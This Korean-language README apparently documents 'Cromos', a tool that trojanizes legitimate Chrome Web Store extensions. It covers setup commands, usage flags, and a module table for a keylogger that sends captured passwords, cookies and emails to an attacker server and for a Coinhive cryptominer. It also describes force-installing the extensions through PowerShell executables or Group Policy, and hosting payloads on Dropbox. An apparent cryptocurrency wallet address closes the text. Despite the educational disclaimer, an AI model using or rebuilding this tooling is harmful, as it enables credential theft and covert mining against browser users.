
Cromos는 Chrome 웹 스토어의 정식 확장 프로그램을 다운로드하고 애플리케이션의 백그라운드에 코드를 주입하는 도구입니다.
Cromos는 Chrome 웹 스토어의 합법적인 확장 프로그램을 다운로드하고, 애플리케이션 백그라운드에 코드를 주입하며, 더 나아가 PowerShell 등을 통해 강제 설치를 위한 실행 파일을 생성하고, 악성 파일을 호스팅하기 위해 드롭박스에 파일을 업로드하는 도구입니다.
다음은 도구 작동 데모입니다. 이 예시에서는 Google Chrome 웹 스토어에서 유명한 Google 확장 프로그램인 G Suite Training을 다운로드하고 키로거 모듈을 주입하고 있습니다.
$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py
Usage: python cromos.py --extension {id}
Usage: python cromos.py --extension {id} --load {currency/keylogger}
Usage: python cromos.py --extension {id} --build {bat} --token {dropboxToken}
미리 정의된 모듈(예: 키로거, 가상 화폐)을 백그라운드에 주입할 수도 있습니다.
| Module | Description |
|---|---|
| modules/keylogger | 이 모듈은 감염된 브라우저에서 https 여부에 관계없이 입력하는 모든 비밀번호를 캡처합니다. 필요한 것은 예를 들어 PHP 서버를 통해 요청을 수신하고 이메일, 비밀번호, 쿠키 및 userAgent 매개변수를 가져오는 것입니다. |
| modules/currency | 이 모듈은 Coinhive API를 사용하여 가상 코인을 채굴할 수 있게 해줍니다. 계정만 있으면 됩니다. |
Chrome은 Windows 그룹 정책 개체(GPO)를 사용하여 확장 프로그램을 추가할 수 있습니다. 여러 대의 머신에 강제 설치가 필요한 경우 Chrome 배포 가이드 의 단계를 따른 후, 원래 확장 프로그램을 약간 수정하십시오. Chrome 웹 스토어에 확장 프로그램을 게시하려면 $5를 지불해야 합니다.
코드 샘플은 교육 목적으로 제공됩니다. 적절한 방어는 악의적인 행위자가 사용할 수 있는 공격 기술을 연구해야만 구축할 수 있습니다. 이 코드를 사전 허가 없이 대상 시스템에 사용하는 것은 대부분의 관할권에서 불법입니다. 저자는 이 정보 또는 코드의 오용으로 인한 어떠한 손해에 대해서도 책임을 지지 않습니다.
49m12JEEC6HPCHkLMX5QL4SrDQdKwh6eb4Muu8Z9CwA9MwemhzFQ3VcgHwyuR73rC22WCymTUyep7DVrfN3GPt5JBCekPrR